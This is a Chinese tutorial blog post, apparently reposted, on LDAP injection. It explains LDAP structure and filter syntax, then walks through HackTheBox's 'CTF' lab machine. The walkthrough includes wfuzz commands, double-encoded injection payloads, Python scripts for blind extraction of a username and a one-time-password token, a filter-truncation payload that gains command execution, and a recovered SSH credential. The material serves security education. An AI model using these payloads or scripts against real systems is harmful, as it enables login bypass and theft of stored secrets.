最近在HackTheBox上氪了金(肉疼�),做了一些已经retired的高质量逻辑,不得不说质量还是很高的。其中有一个靶机叫做CTF,难度是最高级别的insane,主要是它考察的知识点比较冷门——LDAP注入。可能很多小伙伴都没怎么听说过这个漏洞,我想主要原因还是LDAP这个协议用的比较少,而且国内CTF比赛中我也基本上没有看到有考察这个点的。在网上搜了一下,发现最近一次出现这个考点的是在CSAW CTF Qualification Round 2018比赛中,题目直接告诉你了是考LDAP注入。刚好上个星期我在星盟内部分享中,也提到了这个知识点,那么本着聊胜于无,开阔知识面的本意下(其实是偷懒?),写下这篇浅谈LDAP注入攻击的文章。
在做靶机之前,我们首先来了解一下什么是LDAP?
以下内容部分摘自2018 blackhat LDAP Injection & Blind LDAP Injection
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询,是X.500的一种简便的实现。
那么转换成人话就是说,LDAP是用于访问目录服务(特别是基于X.500的目录服务)的轻量级客户端服务器协议,它通过TCP/IP传输服务运行。关键的地方就在于,数据是存储在目录中,而不是数据库中。的确,目录和数据库有很多共同之处,都能存储数据、并能在一定程度进行搜索和查询。这里就有一个问题了,目录和数据库的区别在哪?
最重要的区别就是目录适合于存放静态数据,它存储的数据无论在类型和种类较之数据库中的数据都要更为繁多,包括音频、视频、可执行文件、文本等文件,另外目录中还存在目录的递归。既然是存放不同类型的静态数据,那么目录服务在进行优化后更适宜于读访问,而非写、修改等操作。
说了这么半天,感觉还是贴一张图来的更快。
上面这张图展示了LDAP的结构。我们都知道MySQL数据库中的数据都是按记录一条条记录存在表中,而LDAP是树结构的,数据存储在叶子节点上。比如要描述上图baby这个节点:
cn=baby, ou=marketing, ou=people, dc=mydomain, dc=org
在大概知道LDAP是做什么、长什么样之后,我们再来了解一下LDAP的一些基本概念,主要是三个专有名词:条目(Entry)、属性(Attribute)、对象类(ObjectClass)。
条目
条目,也叫记录项,是LDAP中最基本的颗粒,就像字典中的词条或者是数据中的记录。通常对LDAP的添加、删除、修改、搜索都是以条目为基本单位。
属性
每个条目都可以有很多属性(Attribute),比如常见的人都有姓名、地址、电话等属性。每个属性都有名称及对应的值,属性值可以有单个、多个,比如你有多个邮箱。
此外,LDAP为人员组织机构中常见的对象都设计了属性(比如commonName,surname)。
对象类
对象类是属性的集合,LDAP预想了很多人员组织机构中常见的对象,并将其封装成对象类。比如人员(person)含有姓(sn)、名(cn)、电话(telephoneNumber)、密码(userPassword)等属性,单位职工(organizationalPerson)是人员(person)的继承类,除了上述属性之外还含有职务(title)、邮政编码(postalCode)、通信地址(postalAddress)等属性。
通过对象类可以方便的定义条目类型。每个条目可以直接继承多个对象类,这样就继承了各种属性。如果2个对象类中有相同的属性,则条目继承后只会保留1个属性。对象类同时也规定了哪些属性是基本信息,即必要属性和可选属性。
是不是听起来和面向对象语言有点相似,跟JAVA中的Object类一样,LDAP的根对象类就叫做top。
上述就是笔者对LDAP数据结构的简单介绍了,LDAP既然主要用于搜索查询,那它是怎么查询的呢?
LDAP的语法非常简单,一看就会,再看就懂。
以下部分内容摘自https://blog.csdn.net/leader_ww/article/details/4028672
=(等于)
例如,如果希望查找属性giveNname值为John的所有对象,可以使用(givenName=John)。这会返回对应条件的所有对象。
&(逻辑与)
例如,如果希望查找居住在 Dallas 并且givenName为John的所有对象,可以使用(&(givenName=John)(l=Dallas))。
请注意,每个参数都被属于其自己的圆括号括起来。整个 LDAP 语句必须包括在一对主圆括号中。操作符 & 表明,只有每个参数都为真,才会将此筛选条件应用到要查询的对象。
|(逻辑或)
例如,如果希望查找属性givenName值为Jhon或者Jack的所有对象,可以使用(|(givenName=Jhon)(givenName=Jack))。
!(逻辑非)
例如,如果需要查找givenName为John的对象以外的所有对象。则应使用如下语句:(!givenName=John)
*(通配符)
可使用通配符表示值可以等于任何值。使用它的情况可能是:您希望查找具有职务头衔的所有对象。为此,可以使用(title=*),这会返回title属性包含内容的所有对象。
另一个例子是:您知道某个对象的givenName属性的开头两个字母是“Jo”。那么,可以使用(givenName=Jo*)进行查找,这会返回givenName以Jo开头的所有对象。
Over~~LDAP的语法是不是很简单。
说了这么多,可能很多小伙伴还是心存疑问,已经部署成功的LDAP到底是长什么样子?
我们可以通过google Hacking intitle:”phpLDAPadmin” inurl:cmd.php来检索一下,真实的运行的LDAP服务的网站,这个地方我就贴一张图示范一下,包含了上面提到的所有概念。
其实它的攻击手法和SQL注入的原理非常相似,在有漏洞的环境中,这些查询参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。由于比较简单,我这里就走马观花的方式来过一遍LDAP注入的不同类型。
以下部分内容摘自https://wooyun.js.org/drops/LDAP%E6%B3%A8%E5%85%A5%E4%B8%8E%E9%98%B2%E5%BE%A1%E5%89%96%E6%9E%90.html
这种情况,应用会构造由”&”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索,例如:
(&(parameter1=value1)(parameter2=value2))
这里Value1和value2是在LDAP目录中搜索的值,攻击者可以注入代码,维持正确的过滤器结构但能使用查询实现他自己的目标。
比如说,为了验证客户端提供的user/password对,构造如下LDAP过滤器并发送给LDAP服务器:
(&(USER=Uname)(PASSWORD=Pwd))
如果攻击者输入一个有效的用户名,如r00tgrok,然后在这个名字后面注入恰当的语句,password检查就会被绕过。
使得Uname=slisberger)(&)),引入任何字符串作为Pwd值,构造如下查询并发送给服务器:
(&(USER= slisberger)(&)(PASSWORD=Pwd))
这种情况,应用会构造由”|”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索,例如:
(|(parameter1=value1)(parameter2=value2))
这里Value1和value2是在LDAP目录中搜索的值,攻击者可以注入代码,维持正确的过滤器结构但能使用查询实现他自己的目标。
类似的,加入现在用于展示可用资源的查询为:
(|(type=Rsc1)(type=Rsc2))
Rsc1和Rsc2表示系统中不同种类的资源。如果攻击者输入Rsc=printer)(uid=*),则下面的查询被发送给服务器:
(|(type=printer)(uid=*))(type=scanner)
这样也会造成注入的产生。
SQL注入中有盲注,LDAP中也存在这种问题,包括下面介绍到的靶机用到的也是盲注的手法。
假设攻击者可以从服务器响应中推测出什么,尽管应用没有报出错信息,LDAP过滤器中注入的代码却生成了有效的响应或错误。攻击者可以利用这一行为向服务器问正确的或错误的问题。
还是用一个例子来说明。
假设一个Web应用想从一个LDAP目录列出所有可用的Epson打印机,错误信息不会返回,应用发送如下的过滤器:
(&(objectClass=printer)(type=Epson*))
使用这个查询,如果有可用的Epson打印机,其图标就会显示给客户端,否则没有图标出现。如果攻击者进行LDAP盲注入攻击
*)(objectClass=*))(&(objectClass=void
Web应用会构造如下查询:
(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))
仅第一个LDAP过滤器会被处理:
(&(objectClass=*)(objectClass=*))
那么这样就和我们查询的初衷相违背了。
接下来就是这篇文章的重头戏了,我们主要从这个逻机中学到两点:
• 怎么发现LDAP注入漏洞
• 如何利用LDAP注入漏洞
拿到靶机先用Nmap扫一下端口
# Nmap 7.80 scan initiated Fri Jul 10 10:50:40 2020 as: nmap -sC -sV -oN ctf 10.10.10.122
Nmap scan report for ctf.htb (10.10.10.122)
Host is up (1.8s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((centos) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 10 11:03:44 2020 -- 1 IP address (1 host up) scanned in 783.74 seconds
查看80端口
大概的意思就是让我们尝试去登录这个系统,但是不能用SQLmap或者Dirbuster去暴力猜解用户名和密码。
再去登录界面看一下:
提示我们是一个OTP,即One Time Password,一般而言是1分钟更新一次。
查看源码,发现有一个Hint
如果比较熟悉LDAP的话,这里的两个名词schema和existing attribute已经提示了是关于LDAP注入。
作者用一个已知的属性去存储了81位的token string,Google搜一下token string (81 digits)。
https://www.systutorials.com/docs/linux/man/1-stoken/
可以看到一个关键的地方,Pure numeric (81-digit) "ctf" (compressed token format) strings,和靶机的题目相契合,现在就有一点思路了,应该要去找到这个81位纯数字的token,然后用stoken工具去生成OTP。那么主要是找到token,唯一可以利用的就是这个登录框了。
先随便用某个用户名和密码登录admin:1234
返回User admin not found,再用SQL注入的万能密码试一试
直接是没有任何显示,应该是对一些特殊字符有黑名单过滤。Fuzz一下过滤了一些什么字符
wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w special-chars.txt 10.10.10.122/login.php
—hw 233 代表过滤掉形如User xxx not found的返回信息。
我们发现+和&返回的是232 Words,但是在页面测试一下
发现返回的还是User + not found或者User & not found,这样的话应该是233 Words,而不是Wfuzz返回的232 Words。
我们尝试把这些特殊字符二次URL编码,看Web应用是否还能解析,用seclists中的dobleurihex.txt作为字典
wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w doble-uri-hex.txt 10.10.10.122/login.php
最后Fuzz出来的被过滤的字符就是
%2500 ---> %00
%2528 ---> (
%2529 ---> )
%252a ---> *
%255c --->
这些被过滤的字符就是LDAP注入需要过滤的所有字符,再结合login.php页面源代码中的hint,可以确定是LDAP注入。
先来看LDAP注入的最基本形式
(&
(password=1234)
(uid=ca01h%00)
)
具体到这个靶机的话,我们需要猜解括号的个数。运用类似盲注的思想,如果注入成功,那么就会返回User ca01h not found。
假设只有一个括号:
假设有两个括号:
假设有三个括号:
当尝试到三个括号用于闭合时,成功返回了User ca01h%29%29%29%00 not found,那么这个登录框的LDAP查询的基本形式就是
(&
(&
(password=1234)
(uid=ca01h)))%00
)
(&|
(other comparing)
)
)
接着,我们再回头去看一下Fuzz出来的被过滤的字符,其中%25%2a返回的消息长度为231 Words
发现回响的消息是Cannot login,说明可以用*通配符来盲注用户名,脚本如下:
#!/usr/bin/env Python3
### username_burp.py
import sys
import time
from string import ascii_lowercase
from urllib.parse import quote_plus
import requests
URL = 'http://10.10.10.122/login.php'
username, done = '', False
print()
while not done:
for c in ascii_lowercase:
payload = username + c + quote_plus('*')
data = {
'inputUsername': payload,
'inputOTP': '1234'
}
resp = requests.post(URL, data=data)
if 'Cannot login' in resp.text:
username += c
break
sys.stdout.write(f'r{username}{c}')
time.sleep(0.2)
else:
done = True
print(f'[+] Username: {username} n')
用户名为ldapuser
知道了用户名之后,我们就要去获取生成OTP的81位token,通过页面源代码的提示,这个token存储在某一个LDAP默认已经存在的属性当中。而默认的属性可以在PayloadsAllTheThings中找到:
c
cn
co
commonName
dc
facsimileTelephoneNumber
givenName
gn
homePhone
id
jpegPhoto
l
mobile
name
o
objectClass
ou
owner
pager
password
sn
st
surname
uid
username
userPassword
如果不想写脚本的话用wfuzz来Fuzz靶机的LDAP中存在的属性可能会更快一些,但还是要先找到注入的形式:
(&
(&
(password=1234)
(uid=ldapuser)
(FUZZ=*)
)
(&|
(other comparing)
)
)
此外还要把注入的字符ldapuser)(FUZZ=*进行二次URL编码,编码之后的结果ldapuser%2529%2528FUZZ%253d%252a。
wfuzz -c --hw 233 -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a&inputOTP=1234' -w LDAP_attributes.txt http://10.10.10.122/login.php
我们Fuzz出来了这么些属性是存在于靶机的LDAP服务中的,现在的工作就是一个一个的属性来拆解,属于一些重复性的工作,就不在这里过多赘述了,最后可以找到token是存储于pager属性中。接着写脚本用来burp81位token
#!/usr/bin/python3
# pager_burp.py
import requests
import sys
from time import sleep
from string import digits
token = ""
URL = "http://10.10.10.122/login.php"
attribute = "pager"
loop = 1
while loop > 0:
for digit in digits:
token = token
# ldapuser)(pager=<token>)*
payload = f"ldapuser%29%28{attribute}%3d{token}{digit}%2a"
data = {"inputUsername": payload, "inputOTP": "1234"}
r = requests.post(URL, data=data)
sys.stdout.write(f"rToken: {token}{digit}")
sleep(0.5)
if b"Cannot login" in r.content:
token += digit
break
elif digit == "9":
loop = 0
break
print(f'[+] Token: {token} n')
这里值得注意的是需要删掉最后的一个9,所以最后的token就是:
285449490011357156531651545652335570713167411445727140604172141456711102716717000
接着用stoken工具导入token
生成OTP
成功登录后,跳转到page.php页面,可以执行命令
Damn it…..提示我们ldapuser权限不够不能执行命令,这里有两种办法:
• 对
group
属性进行注入,即把后面group属性的filter截断
(&
(&
(pager=<token>)
(uid=ldapuser)))%00
)
(|
(group=root)
(group=adm)
)
)
• 使用*通配符作为用户名登录
这里演示一下第一种方案,payload直接放到burp中
ldapuser%2529%2529%2529%2500
再去执行ls命令
读取page.php文件:
SSH登录:fdapuser:e398e27d5c4ad45086fe431120932a01
原文地址:https://www.anquanke.com/post/id/212186